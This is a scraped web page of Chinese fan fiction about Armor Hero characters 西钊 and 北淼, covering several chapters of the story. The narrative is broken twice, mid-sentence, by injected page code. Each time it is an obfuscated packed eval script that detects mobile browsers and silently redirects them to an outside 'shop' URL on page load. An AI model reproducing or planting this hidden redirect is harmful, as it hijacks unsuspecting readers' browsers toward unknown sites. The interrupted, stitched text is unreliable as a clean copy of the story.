$(''.inform'').remove(); $(''#content'').append('' 同时,西钊也得知了“超哥”的本名:张超,饰演“西钊”的演员,经常活跃于荧幕中,偶尔还会写歌唱歌,也出过一张专辑。他其实没问,但那个对他和北淼在一起这件事异常激动的女生告诉他,饰演“北淼”的人叫柏栩栩,和张超合作过《铠甲勇士》《网球王子》现在是东方卫视新闻主持人。 ……难怪他和北淼会与石毅钟国光产生某种奇怪的“联系”导致他们互换,也许源头就在这里。西钊没来由地想。 追星女孩依旧在向西钊介绍关于张超和柏栩栩之间的事情。也正是这时西钊才被她们科普,虽然《铠甲勇士》已经过去十多年,但依旧是大家心中的经典,人们——大多数情况下是女性——会把剧中喜欢的人物凑成一对谈恋爱,并把他们之间的关系叫“CP”,相关二次创作叫“同人”。他和北淼、他和坤中、炘南和东杉,以及他和北淼冰儿大三角占据了话题的大头,甚至连十几年没联系的张超和柏栩栩都没放过。西钊没什么特别的感觉,只是暗暗感叹人类想象力的丰富多彩。 当西钊问起互联网上是否有和他一样、长得和演员一模一样的人,特别是长得像“柏栩栩”的时候,她们都摇摇头表示否定。西钊“嗯”了一声,向她们道谢。 “最后两个问题。请问,这里有什么地方需要实名制的吗?以及,最近的医院在哪里?” 两个女生面面相觑,不太明白对方为什么问这个:“其实,如果你第一次在某个三甲医院挂号,是要提供身份证的。最近的一家医院就是三甲,从那条路过去转两个弯就是。” “好,我知道了。”西钊依然挂着他那礼貌的微笑,站起身朝服务员挥手,“您好,买单。这两位小姐的也一起。” “不不不不不用……” 追星女还在红着脸结结巴巴谢绝,西钊已经理好衣服准备离开——好,成功结账,银行卡可以正常用。 “我想,你们应该知道,光影铠甲召唤人的体内气压和体温远低于正常人、并且携带RT血型。如果、我能通过这一点向你们证明我的身份,我可以拜托你们一件事吗?”西钊走到门口,手握门把,侧过半边脑袋问道。 “怎么听起来像那种街头挑战啊。诶,要不要跟上去看看?”追星女的同伴打算征求对方的意见。 “哦,现在就不怕是把你骗去拐了卖了啊?亏你刚刚还说我没反诈意识呢。”追星女没好气地说。 西钊无奈摇摇头,也没理她们,只是自顾自推门往外走。这一招“欲擒故纵”很有效,没等西钊走过这条街,两个女生就小跑着跟上西钊的脚步,决定亲自去“打假”这个角色扮演入戏太深的“雪獒侠”。 两个女生还幻想着演戏穿帮之后怎么拍个小视频赚赚流量,结果医院的检查报告让他们大跌眼镜:24℃的体温、低于5w帕的人体气压、稀有RT血型,医生还在怀疑设备有问题的时候,西钊已经带着她们两个轻车熟路地溜出医院了——好,计划成功,身份证没问题。 “我去。真、真的假的……” 追星女的同伴直接一个瞳孔地震,拿着报告翻来覆去地看。而追星女孩已经准备往西钊身上扑了。西钊在她飞奔过来的半路伸手轻轻抵住她的额头,阻止了一场一旦他陷入就几乎无法脱身的浩劫。 “很遗憾我不能拿出更多证据,但以目前的情况来看,我确实——” “西钊西钊,你和北淼在一起了对吗?!是真的吗?!!” “……是。”西钊抽空冷静而迅速地回复,没有停顿,继续他的话题,“我确实需要你们的帮助。” 更为理智的同伴拎着追星女的后衣领就把她拽回来,接上西钊的话茬:“虽然不知道能做什么,但是她超爱你,能为你上刀山下火海那种。需求什么的你尽管提!” 那倒、倒也不必…… 西钊低声轻叹,不再是一副轻松玩笑的模样,表情逐渐变得严肃起来。只听他开口,缓缓说道: “可以帮我、联系到张超吗?” TBC ※一些OOC剧外: 北淼:bur,你就这么摊牌了? 西钊:找到张超就能找到柏栩栩,找到柏栩栩说不定就能找到你。 北淼:拜托,他俩十几年没联系了。 西钊:没事,我们也十年没见过了。 北淼:这是一个性质的事情吗???! ※PS. 西钊一直在吃肉并且吃的很快.jpg 47. 见证者 北淼望着屏幕上以“男人不打女人,这是原则问题”为由放走小雪的“北淼”,不禁陷入回忆之中。 之前他意外听西钊提过一句:不知道冰儿什么时候认出那个人就是她的哥哥。其实北淼心里也有同样的问题,如今,他发现,居然早在那个时候,他自己暴露了答案。 —— 那么大个“北淼”写在小雪面前,结合这个意味深长的笑容,不难猜出其实这时小雪已经知道面前人就是抛弃他的“好哥哥”。可是北淼却待她如初见的弱女子,极具绅士风度地照顾有加。 即便认不出“女大十八变”的小雪,北淼也没认出她是那晚自己不愿挥拳的女人、也没注意过她出现在自己经常健身的健身房。 弹幕都在说北淼“脸盲”“这都没看出来”,而北淼只是扭头望向天色微明的夜空,神色复杂。 —— 北淼发现,西钊的戏份开始变多,但他给北淼的感觉却很奇怪,有点儿之前平行世界里那个只会机械般执行任务的“西钊”的影子:对命令不反抗,却也不认同。 与那个“西钊”不同的是,西钊总是保持着淡淡笑意,有更多自己的想法,也更加柔和。不知是不是因为大多时候都有冰儿陪在身边。那一刻,北淼心里多少有点不是滋味。 都说拥有爱人的能力是因为被毫无保留地爱过,北淼认为这一点放在西钊身上完全不符;倒是那句“一些人用苦难换来了温柔”更适合他。 —— 北淼记得这个场景:大家在为土影石的回归欣喜,而他一针见血提出目前队伍里存在的问题。 弹幕有的说他是“暴躁老哥”“内讧侠”、有的说“人间清醒”,也有的说“那你去做啊,光耍嘴皮子有什么用”。北淼看着那些五颜六色的字一个个闪现在屏幕上,心境几乎与画面中的自己同步。他在床上微微耸肩,轻叹口气。 他到现在也没觉得自己说错了什么。虽然如今他也明白那时的言行举止确实有不可取之处,但谁让他这么躁呢,性格如此又不是他的错,而且炘南那家伙的问题就是比他的更大,就这还不让人说两句了?北淼在心里不服地暗暗狡辩。 当北淼听见“自己”说:“作战没有战略,吃苦头是迟早的事情”,他想到了从前某个双标的混蛋。不管小雪说什么、做什么,北淼都无理由相信;结果到了西钊那里,北淼就觉得这个人连呼吸都在污染空气。 于是他很快就为自己“毫无战略的行动”付出了巨大的代价。 北淼啊北淼,你也有被“回旋镖”迎头痛击的一天。北淼一边以苦笑自我嘲讽,一边端着平板下床叫客房服务送点早餐。 —— 居然用上了“大小姐”这个称呼,看来西钊真的很宠小雪。北淼嘴里嚼着酒店送上来的早餐,不禁暗暗感叹。 要是西钊像称呼小雪“大小姐”一样称呼自己“大少爷”,北淼都不敢想到时候自己心里会有多高兴。 —— 那他确实挺帅的。 北淼不可置否地点点头。 不过,只是眨眨眼这种堪比撒娇的互动并不能让北淼对西钊言听计从,撒娇是属于“大小姐”的特权。况且,西钊大概率也做不出这种女孩子才会做的事。 如果真要让西钊做什么来换北淼“无条件的服从”,北淼或许会开出更大胆的条件。他知道西钊会像宠着小雪一样由着他任性,那有这个便宜,他为什么不占呢? 仿佛和北淼的思绪同步,屏幕里的小雪嫌弃地说了句:“肤浅。” 北淼眉毛一挑,被“小雪”的话逗笑。 —— 对,就是这个。西钊此话一出,北淼顿时恍然大悟。 他之前就在想,西钊虽然在界王手下做事,但他身上总有一种不同于黑恶势力的违和感,如同拼图被强行嵌入错误的凹槽,能放下,却不是正确的图案。 原来这种违和感的来源,是西钊这种将“本心”与“言行”划清界限的理念。尽管这句“把我说得和坏人一样”只是无足轻重的调侃,在北淼看来,它也代表西钊面对正邪的是非观。 他从不否认自己是坏人。但如果有机会,他愿意做一个好人。 这家伙,黑白善恶拎得那么清楚,一到人和人之间的爱情友情亲情,怎么就和三岁小孩似的傻傻分不清呢?北淼无奈摇摇头,把咖啡换成凉白开,搭着早餐随意吃两口咽下去。 —— 看着屏幕里小嵩被推倒在地,即使这人现在已经脱离媒体行业进军时尚圈,北淼也打心底里佩服他的勇气。不管是一开始在码头挡在美真面前、还是后来遇见小细挺身而出,亦或是现在误以为西钊是路人而试图劝阻。 虽然下场从来称不上好,但某种意义上……比他强——好吧、好吧,你不能拿一个十岁出头的小孩子和“战地记者”比。北淼在心里自我安慰道。 不过,仅仅这么一推就能致人昏迷,看来西钊的力气比他想的还要大。 光是人类之躯就拥有这么强的力量、加上雪獒相比其他铠甲占优势的攻击力,这明明是很出色的搭配,为什么西钊一直无法将其完全发挥出来呢?难道他对于战斗这件事就这么消极吗?北淼不禁有些困惑。 —— 北淼一直无法习惯从第三视角看“自己”这件事。他试图画面上的脸和柏栩栩的混在一起,暗示“这不是同一个人”,但因为柏栩栩经过十几年相差甚远的气质,这个方法以失败告终。北淼无奈,只得选择妥协。 围观炘南和雪獒侠的战斗在当时的他看来十分有趣。那时,他将老者的“目光放长远”理解为字面意义上的“在远处观战”;另一方面,他也想见识见识雪獒铠甲的力量。 不是他不想帮忙。静观其变、伺机而动,这叫战术。没个战术怎么计划后面的事呢?对不对?吃完早餐重新坐回床上的北淼再次无声为自己辩解。 —— 当穿着铠甲的西钊再次推倒小嵩时,北淼想,穿上光影铠甲似乎会对召唤人的性格也产生一些影响。 炘南内敛含蓄,做什么事都听上天的安排;炎龙侠却天天在为KPI努力,战斗中甚至活泼不少,金句频出。 东杉不仅是个闷葫芦,而且很多时候一上压力就会屈服于强势的一方;但风鹰侠能屈能伸,攻击迅捷利落,战斗以速度取胜。 至于西钊……北淼按下暂停,思考片刻。 西钊温和厌战,忧郁寡言,内心向善,关心着身边的每个人;反观雪獒侠,听听刚刚那句“等你躺下我再告诉你”,换成北淼来说一点都不违和。虽然因为西钊的厌战和雪獒的好战产生的矛盾使其战斗力一直不稳定,但他/它的每次攻击依旧很有力量。 ——西钊、西钊、西钊。 北淼现在脑子里全是西钊。不管什么画面都能和西钊扯上关系。 转头眯起眼睛望着窗外有些刺眼的日出,北淼意识到,自己好像有点想他了。 —— ……啧。 北淼刚点开继续播放不久就看到了这一幕。他尴尬地移开视线,并不想回忆起一个富家公子哥被两个非主流女孩拿着防狼喷雾糊一脸的经历。 他原本是想观察雪獒铠甲自主解体之后里面的人是谁,但这个意外打得他措手不及。现在他才反应过来,这两个小妹是之前西钊收编的手下。 好你个秦西钊,原来“小吏”是给你这么用的啊? 不悦的旧事重提,同时弹幕又飘过一行极具嘲讽意味的“水,只会让我变得更强”,北淼黑着脸在心里“恶狠狠”给西钊记上了一笔。 —— 北淼之前的结论是对的:行恶心善,这样自相矛盾的字眼便是西钊的代名词。 不知为何,一条条不断滑过屏幕的“西钊小天使”让北淼觉得十分骄傲。他比任何人都幸运、比任何人都有这个能力和决心,让这个想要回到天堂的天使为他堕天为人,永远留在他身边。 北淼不介意西钊把善意和美好分享给别人,也不介意他广受喜爱,这是西钊的本性和魅力,也是他吸引北淼的地方。因为北淼深知,其他人只能拥有他的温柔,而北淼,拥有他的全部。 —— 怎么这里都在骂他?北淼皱眉不解。 弹幕上发言的应该都是看过一遍、知道剧情,因此才会形容他是“烂橘子”“内战侠”。虽然他还没看到后面的剧情,但就目前来说,所谓“水火不容”倒是真的。 他看不惯凡事讲究随缘、不主动出击还要拖累别人的炘南,他也知道炘南对自己有意见,但他无所谓。除非是很重要的人,北淼很少在意别人的看法。 北淼之前也一直不明白为什么总有人向着曾经那个眼里只有钢琴和岁月静好的炘南,还帮他说话。 但现在,画面里这个一副自傲模样说着“我看得比较远,而你只能看到眼前”的家伙确实让北淼共情不能。以前的他原来这么……要怎么形容呢?欠揍?像只谁来谁被怼的豪猪、谁也别想接近的刺猬,或者蓄能款定时炸弹。 ……哦。 北淼好像有点明白弹幕那些人怼他的原因了。他们并没有完全在帮炘南说话,更多只是因为这个“内战侠”单纯欠揍而已。 —— 如果不是弹幕提醒,北淼都没看出来西钊每天都在给小嵩送水果。 说实在的,有点夸张、也没必要,作为影界的人,甚至还有暴露的风险。北淼不知道西钊在想什么。 当看到弹幕说“西钊大概觉得水果是一天吃一篮”的时候,北淼似乎知道了答案。一个一顿能吃三人份肉食的家伙,是如何形成“水果大概一天能吃一篮”这种观念的,北淼不愿细想。 明明上次在车里吵完架给他买的草莓,他就吃了几个。 —— 西钊的声音比他遭受电击的画面更早传入北淼的大脑。他在“快进”和“暂停”之间摇摆不定,最终选择让这与西钊噩梦中如出一辙的痛苦折磨他的眼睛和耳朵。 即使北淼知道这只是演员的演技加上后期特效达到的效果,但北淼也明白,发生在画面中的事情并非仅仅只是“剧本”。这份煎熬与苦痛,西钊真真切切地经历过。 看着镜头里洋洋得意的界王,北淼恨不得把后牙都咬碎。 “界王心情好的时候,大概就那么痛吧。” 北淼忽然想起西钊曾经对疼痛的描述。明明北淼在梦里亲历过相同的处境,也与西钊的一切感同身受,为什么如今他作为旁观者再去看这件事,却觉得更加难以承受? 没有心情理会弹幕上的心疼和调侃,北淼的心随雪獒铠甲的影子在西钊身上闪烁的节奏而抽痛。如果他现在攥着的不是盖在身上的床单,他的指甲估计已经嵌在掌心、压出血痕。 —— 哈?“娇弱”? 看到这个弹幕,北淼忍俊不禁,大概率是讽刺的嗤笑。这大概是最不适合套在这个人身上的形容词,除了他那怎么都吃不胖、练不出肌肉的“电线杆”身板。 这个画面和北淼最初在影界基地找到西钊那会儿一模一样。当时看到西钊靠着电他十年的东西睡着,如果不是他自己解释说只是太累,北淼都要以为西钊患上了什么斯德哥尔摩或者创伤性应激障碍这类棘手的病症。 北淼在一帧暂停许久,目光一直紧盯“西钊”脸上的表情,想要读懂其中的含义。西钊他、那时候在想什么呢?换做是他,也许是任务失败的不甘、怨自己不够强的愤怒。但靠在电击仓里的那个人,看上去只是在默然接受这一切。 忽地,一个念头闪过北淼的脑海:笼中伤痕累累的雪獒没有被驯化,它只是疲于反抗,选择安静地舔舐伤疤、打磨它的利爪,等待着某天冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334675|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破壁障、将它的饲主连同孕育它的黑暗一起生生撕裂。 所以,这个家伙才不娇弱。只要西钊愿意放开来打,北淼还真没有那个必胜的自信。 —— 北淼现在合理怀疑他被扔到什么《网球王子》的世界里,是因为他当初讽刺炘南的那一句“钢琴王子,有你这么说话的吗”。 过了这么久再回想这段记忆,北淼对那时自己为何情绪如此激动也有些模糊不清。 北淼做事一向讲究效率,时间也是本钱,干坐着等一个不知道人在哪在干什么、电话也不接的人,就好像必须坐在办公室里加班,手里有项目、但又什么都做不了。这难道还不够让人觉得烦躁吗?美真他们脾气还是太好了。 他和炘南这种性格的人生来就不对付,虽然他和炘南很大程度上都有所改变,但某些时候依旧少不了无伤大雅的针锋相对。闹成吵架不至于,但总是会被当成大家的饭桌笑话拿出来讲——连西钊都不站在他这边,太过分了! 北淼的愤愤不平与画面里义愤填膺的“北淼”意外地同步,最后终结于美真那一句“北淼!你吃炸药了吗?!” 他吃不吃炸药不知道,但他变成炸弹的时候,只有一个人能让他变回哑炮,那个人就是西钊。 “……” 北淼不知道第几次暂停,看向窗外高高挂在天上的太阳,低头揉捏眉心,眼里压抑的情感浓厚得几乎要溢出来。 他真的好想他。 —— 北淼在界王说“冰儿,你过来”时,慢慢从半躺的姿势撑起身坐直。即使知道后面会发生什么不好的事,他也依旧在界王伸手掐住小雪脖子的时候极力控制地一拳打在床头柜上,低声暗骂了一句“混蛋”。 他看得出西钊怒不敢言,与受罚时完全不同。那种只能看着亲近之人受难的无力感跨越时空让北淼与之共情。北淼是对的,这只雪獒从来没有被驯服,它只是需要时间和契机。 当年松开小雪的手对北淼来说是一个无法挽回的错误,也是小雪遭受这一切的根源。虽然他这样说对西钊很不公平,但北淼此时此刻无比庆幸,这十年里陪在小雪身边的,是一个对的人。 —— “禁食三天”的惩罚北淼并不是第一次听。西钊避重就轻描述他和小雪的过去时,曾说过“禁食是最轻的处罚”。西钊也提到,他总会偷偷给小雪带吃的,哪怕因此跟她闹别扭。 北淼之前还问过自己:影界不管饭的吗?小雪和西钊都怎么那么瘦。如今画面上那个花白花白的大馒头,好像什么都没说,又好像什么都说了。 也不知道小雪在他和西钊穿梭在几个时空的这段时间有没有好好照顾自己、还习不习惯、想不想他们。北淼无端联想。 当小雪调侃西钊“把电压拉到顶”“让你天下无敌”的时候,北淼回忆起西钊之前反驳他说:冰儿可比你想的冷酷多了。要不是北淼知道后来小雪真的把训练电压增加到机器的极限、逼出雪獒铠甲让西钊逃离影界,他肯定会以为小雪在说玩笑话。 在西钊的梦里被电得痛不欲生的北淼现在想想,这可一点都不好笑。 —— 咦? 北淼眉头微皱,把这段来回看了几遍。他那时候居然没有注意到小雪就在旁边,甚至只隔了一个桌子,还是空桌!他们甚至点了一样的东西! 北淼不禁低头扶额。一次两次是巧合,这第三次不禁让北淼怀疑,是不是他自我意识过于强盛导致他几乎没怎么在意过周围的人和事。前两次是小雪主动接近他,这回上天给他们制造了个偶遇,结果北淼依旧旁若无人。 张北淼啊张北淼,你该,你真该! 不过这么一说,他当时对坤中脱口而出的“烂橘子”形容,好像单纯只是因为他正在喝橙汁来着…… —— 坤中一出现,北淼本就黑着的脸变得更加难看了。他扭头拿起床头柜的水杯浅浅抿一口,杯子挡住弹幕满满的“小猫小狗”,给了北淼一点缓冲时间。 直到他听见迟到的坤中有些不好意思地说:“我知道你是、在乎我的。别不承认啊。” 人烦躁起来,喝口凉水都能呛到。 其实,北淼并非因为坤中与西钊是最亲密的朋友而有什么极端的负面情绪。归根结底,他还是在生自己的气。 坤中在西钊最需要信任和支持的时候一直站在他那边,从来没有怀疑过西钊向善的真心。反观北淼,即使最开始对西钊的怀疑合情合理,但界王死后他仍然利用西钊的一切来抬高自己。 他本应该和坤中一样,成为他的朋友和兄弟,在他身旁与他并肩作战、或者在他身后无条件支持他。 但他没有。 所以,北淼没有立场嫉妒这份他们这份难能可贵的感情,只能独自闷闷不乐、埋怨从前的自己怎么就那么“输不起”。 —— 上一次看西钊笑得那么甜,好像是他们穿越之前那晚,互道晚安的时候。 他们不像一般情侣相拥而眠。西钊睡觉时比起被北淼抱着,更愿意他普普通通地躺在身边。两个人不需要特别亲密的接触——除非那天他们计划在床上做点什么。只是手握手、额头抵着额头,对西钊来说就已经足够。 有时候北淼会好奇,习惯微微蜷缩着身子睡觉的西钊是不是没什么安全感。后来他发现,是他想多了。西钊在感情方面比他想的更单纯,北淼不用问也知道这个人大概都不清楚什么叫“在感情里患得患失”。 后来据西钊自己解释,他那样的睡姿是因为在影界这么睡太久,习惯难以改变,就索性保持而已。 北淼看了看身边空空如也的床铺,在这一集结束时伸手关掉平板,将它搁在床头柜上。 他得出去吃个饭再继续,不然,他想西钊都要想得出现幻觉了。 TBC 48. 午间小憩[番外] 说是出去吃饭,但北淼其实不饿。他在一排五颜六色的饮品店里找到一个看上去人最少的店面,坐在窗边的角落,点了一杯热橙汁。他抬手压了压帽檐,将口罩微微下拉,拿起杯子叼着吸管向后靠,对窗外的街景放空。 这条路离市中心有些远,因此视野里也并非宽阔的十字大道和繁华商圈,北淼很容易就能捕捉到一些日常生活的细枝末节。 比如现在,就在饮品店的对面,警车和救护车围着一辆电动车,似乎是发生了一起交通事故,有的在现场指挥道路、有的在给伤者做应急包扎,有的拿出手机录制视频。 这不禁让他想起,之前在酒店观看《铠甲勇士》时,那个被他刻意“忽略”的场景:雪獒铠甲的初登场。 那并不是什么美好的场面。 北淼虽不愿承认,但他清楚地记得,雪獒铠甲——也就是西钊——追着那两个或许有五行村血脉的情侣,一路跟到巡逻警察面前;他也记得,自己印象里不愿伤害无辜的西钊,三下五除二就干翻了八九个武装警察。导演用掉帧的拍摄手法和镜头语言使得雪獒铠甲的威慑力更上一层台阶。 北淼从没听西钊说过这件事,每次提及西钊的过去,每个人都是一副“过去的事情都过去了”的宽容态度,西钊自己也从不愿意多说。但北淼想,原谅不代表理解。既然他选择接纳西钊的一切,就要去了解西钊这么做的原因、他自己真实的想法,而不是“这是界王教给我的任务,我必须完成”这样的空话。 与西钊相处的这些日子里,北淼觉得,这个人再怎么恶、再怎样傻,手里也不会染血、不会背上人命——他知道“伤人”和“杀人”的区别。西钊这颗“烂橘子”可以为所谓任务不择手段、不计代价,任由自己的外皮和果肉在影界腐朽;但如今北淼剥离一切外在,将那枚“种子”握在手中时,他便知道,这才是真正的西钊。善里携恶、恶中藏善,这或许也是雪獒铠甲拥有太极图案腰带的原因吧。 北淼敢拿自己的生命担保,西钊没有“恶念”,因此他的恶行必定有他的理由,不论结果如何,北淼都一定会问个明白。 实际上,北淼还发现一个说奇怪也不是、说不奇怪也不是的细节。那次袭警似乎是西钊第一次、也是唯一一次主动对无辜群众发起攻击,后来的每一场遭遇战,几乎都是作为异能兽的辅佐或影界的支援,攻击人类的是异能兽,西钊充其量似乎只是在旁边看着。 北淼不知道那天西钊有没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334676|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成功追上那对情侣、也不知道那些警察有没有像小嵩一样进了医院,比起这些,他更好奇西钊那一天回到影界之后做了些什么,才导致这个细微的改变发生。难道笼中凶兽也终于硬气了一回、以利爪相威,为自己的“良心不安”争取那一点点宽慰吗? 何必呢,西钊。 手里的杯子空了,他忍不住轻叹一声。 北淼想问西钊那时的想法,也想告诉他:错了就是错了、但他值得第二次机会;过去的事情也确实都过去了,更重要的是着眼于未来。他愿意一切从头开始。他可以接纳西钊的过去、陪伴他的现今、创造他们的未来。如果一定要讲究什么赎罪,那他北淼也会一直在他身边——谁让他也是“罪魁祸首”呢? 北淼拉上口罩,起身准备离开时,窗外因交通事故而聚集的人群也作鸟兽散,仿佛刚刚那一切从未发生。 他忽然在想:要不,等一切真正安稳下来,就和西钊一起给D市的警局送点锦旗当做歉礼吧?毕竟,他们那种地方,也只能收这个。顺便问问那天遭遇雪獒铠甲的执勤人员近况如何,让西钊心里也舒坦些。 呃,如果西钊还记得这件事、并真的对此心存愧疚的话。 FIN 49. 醒悟姗姗来迟 回宾馆的路上,北淼在一家餐饮店看到关于张超最新特摄剧的联动宣发。北淼有些好奇,柏栩栩会不会哪天碰巧就拿到张超的新闻,也不知道那时候他会作何反应。 即使知道发生这种事的概率很低,北淼也依然坐床上看了会儿柏栩栩主持的新闻打发时间。等他再次打开平板的时候,天色已经暗淡不少。 其实上一集他没看完,屏幕定格在西钊的笑容上,不管什么时候都令他赏心悦目。他靠坐在床头,换了个舒服的姿势,点击播放。 —— 噢。没想到西钊也有召唤晶片。北淼的关注点似乎不在与地虎侠陷入苦战的雪獒侠上。 不过仔细想想,也说得通,西钊那时是影界的人,不像他北淼整天都背着水影石到处跑,生怕它丢了,西钊并没有把光影石随身携带,而是放在界王手里。这一路剧情看下来,北淼也没发现影界有ERP那样的卫星,那么西钊肯定需要一个媒介来召唤铠甲。 目前北淼还不知道西钊的晶片是怎么来的,结合他自己的情况,北淼想,这个东西自从他拿着水影石就存在了,据说也是光影石的一部分。美真他们做出来的召唤器说到底只是一种便携装置。那会儿他“勉为其难”加入他们队伍时,美真还拿走他的晶片进行了升级。 其实也没必要较真,召唤器都能“量产”,说不定晶片这个东西拿个凿子往光影石上敲两下就有了。看着画面上两败俱伤的两人,北淼微微耸肩。 —— 小雪对西钊还真是一如既往地毒舌,看来她确实打算出去散散心。也不知道小雪会做什么打发时间,健身吗?不对,那次是为了跟踪他…… 听到西钊说“可能我的实战经验还不够吧”,北淼不知为何想到了之前他袭击警察的画面。跟铠甲勇士打打无所谓,只要西钊不使出全力,北淼还是有信心拿下他的;但说真的,用铠甲的力量对付无辜者——甚至都不是五行村后人——这种“实战经验”,不要也罢。 —— 等等、这是……他送林伯伯回家的那天。 点开这部《铠甲勇士》之前,林伯伯的事他多少也有关注。他动不了董事会,因此只是利用自己的人脉,为照顾自己的林伯伯找了份体面的工作。 直到亲眼看到林伯伯被自己人背刺,北淼才了解事情的全貌。而且小嵩本想将一切黑幕报道出来,结果新闻稿也被主编扣下。北淼又想起自己说的那句话:好人各有不同,坏人都一个样。 不过,为什么……小雪会出现在这里? 就像刻意避开西钊的“袭警”,北淼一开始并不愿意关注这个场景里有小雪的出现、也不愿承认小雪将要针对的目标。直到小雪说出那句“这次就放他一马,算给你个面子”,北淼才不得不面对小雪口中的“打发时间”是受集团委托,“给他们一点教训”。 北淼心里一沉。在此之前,小雪虽然嘴毒,但和西钊一样基本都是奉命行事,没有越过什么底线。这是北淼印象里小雪第一次单纯跟随自我意志做坏事。为什么?哪有人打发时间的方式是替人做“脏活”的?这种不同于西钊的恶念到底为什么会出现?在界王手下行恶难道不是被迫的吗? 现在北淼唯一也是最后的心防,就是不断祈祷三番五次派遣异能兽伤害林伯伯的是界王,不是小雪。也许……也许这是他能接受的最大底线。 —— 又是那两个“小吏”。 小雪最终还是对掌握集团黑料的小嵩动了手。北淼觉得胸口发闷,扭过头想喝口水,以这样自欺欺人的方式逃避屏幕上发生的一切。但他最终还是转回头,咬牙看着他熟悉又陌生的妹妹。 西钊曾说过,小雪的心在影界冻结成冰,更名“冰儿”;他明明说过,只要冰儿找到了她的哥哥,冰封化雪,他们兄妹就能团圆。可北淼忽然意识到,小雪这么早就认出了北淼,为什么不第一时间向他求救?为什么没有马上表明身份? 那时的小雪,当真那么恨他? 这一切不应该是这样的。北淼手撑额头,一口气哽在喉咙里,甚至让他发不出叹息。 —— 眼睛扫过弹幕上无数对小雪不满的评语,耳边是小雪冰冷的“你这把年纪还需要修理?坏了、扔了,就好了”,北淼甚至没有按下暂停,伸手重重地将平板扣在了床上,身子后仰,脑袋磕在墙上发出沉闷的响声。 ……这和指挥异能兽出面有什么区别。 北淼沉痛地闭上眼,空手紧紧攥成拳。他从来没有想过小雪会做出这样越界的事,对方还是一直对自己照顾有加的林伯伯。一时间,无数情绪汹涌而来,让北淼分不清他到底在为小雪的行为感到愤怒、还是为小雪会变成这样的人而自责,亦或者是事情已经发生、伤害已经造成的无力。 令北淼自己都感到意外的是,在得知小雪对林伯伯做出的事、说过的话之后,他第一反应居然是责备她的所作所为。那股愤怒似乎比其他任何复杂的情感都优先刺激他的神经。 这是错的,小雪,你到底在做什么!你为什么要做这样的事?!你为什么会变成这样……北淼迫切地想要抓着小雪的肩膀质问她、想要得到她的回答。明明不是被迫的,为什么还要伤害别人? 可转念间,这股怒火便被北淼心中响起的一个冷漠声音完全浇灭——是他自己。 “小雪为什么会变成这样,你不知道吗?” 刹那,先前被压抑在愤怒之下,比它更为强烈、更为尖锐的自责席卷了北淼的心。是啊,记忆里黏人可爱的小雪成为如今害人不眨眼的冰儿,归根结底是因为他北淼。如果不是他逃走、如果他可以再坚强一点、再勇敢一点,这一切都不会发生。 北淼庆幸有西钊陪小雪共度黑暗,却忘了深陷阴影的小雪终会受到它的影响。他曾不愿细想到底是什么样的环境能让西钊有“水果一天可以吃一篮”的观念,如今这个问题再次摆在他的面前:到底是什么样的教育能让小雪毫无愧疚之心地以脏活打发时间?他们在影界经历的一切,自己到底能不能弥补得全? 害了林伯伯的人说到底不是小雪,是他啊。他才是那个引起飓风、无知扇动翅膀的蝴蝶,而林伯伯、小雪、西钊,都被他卷了进去。他身处暴风之眼,却什么都看不见。 就像面对与西钊亲密无间的坤中,北淼没有立场去嫉妒;面对步入歧途犯下大错的小雪,他也没有训斥的资格。他只能告诉小雪:这是错的。但我们还有第二次机会,不要再错下去了。他不会再问“为什么”“你怎么可以”。他问不了,因为他知道答案。 北淼慢慢扶起平板,嘴角扯开一个他自觉难看的苦笑。他终于幡然醒悟,原来比起衣食住行、比起形式上的“家”,甚至于比起一段前所未有的亲密关系,小雪和西钊更需要有人拉着他们的手,往正确的价值观上缓步前行。他不应只做他们的哥哥和男朋友,也应该是他们的指明灯。 若非如此,他要是有个三长两短,谁又敢保证小雪不会做出跨越底线之事、谁有敢担保西钊不会不计代价自我牺牲? 还好,他明白得不算太迟。之后回家,他一定要和小雪好好谈谈这件事,并且带着小雪跟林伯伯亲自道歉。 —— 什么叫“我什么时候回来的”?一直在旁边埋头敲键盘的人存在感这么低吗?北淼暗暗表示不满,试图掩盖他在这件事上捅出的篓子。 主动永远不会吃亏,但鲁莽会。北淼心虚地移开视线,在“北淼”意料之中质疑炘南时又挪回目光。 那时候他确实太冲动了。北淼不可置否地叹气。他就像斗牛场上看见红布的斗牛,笔直向前冲然后突了个空。更可气的是,场下还有无数观众看他们的笑话。 —— 北淼预料到他们会遭埋伏,但谁知道影界的人会对卫星下手。 虽然他还想用影界的阴谋作为挡箭牌辩解什么,但也没法改变他自以为是的“战略”让自己和同伴暴露在危险之下这个事实。 这是北淼那句“作战没有战略,吃苦头是迟早的事”的第一记回旋镖。 —— ……好吧。 看着连奖杯都丢下、第一时间往现场赶的炘南,北淼低头揉捏眉心。根据之前“北淼”那句“炘南?他会去吗?”来判断,这是砸他脸上的第二个回旋镖。 老实说,炘南虽然一切随缘,办事比西钊还被动。但北淼自己也不愿承认,一旦有什么情况发生,真正需要这个家伙的时候,他从来不缺席,也永远是最可靠的那个。 在这一点上,北淼深知,被恶水和恶木以小雪之名骗得团团转的自己,可完全比不了。 —— 原来西钊和小雪是在这里知道他们的真实身份的。 正如弹幕所说:“西钊担心坤中,冰儿担心北淼”,也难怪雪獒铠甲和小雪会出现在码头。小雪从一开始就打算给他们的逃脱制造缺口。 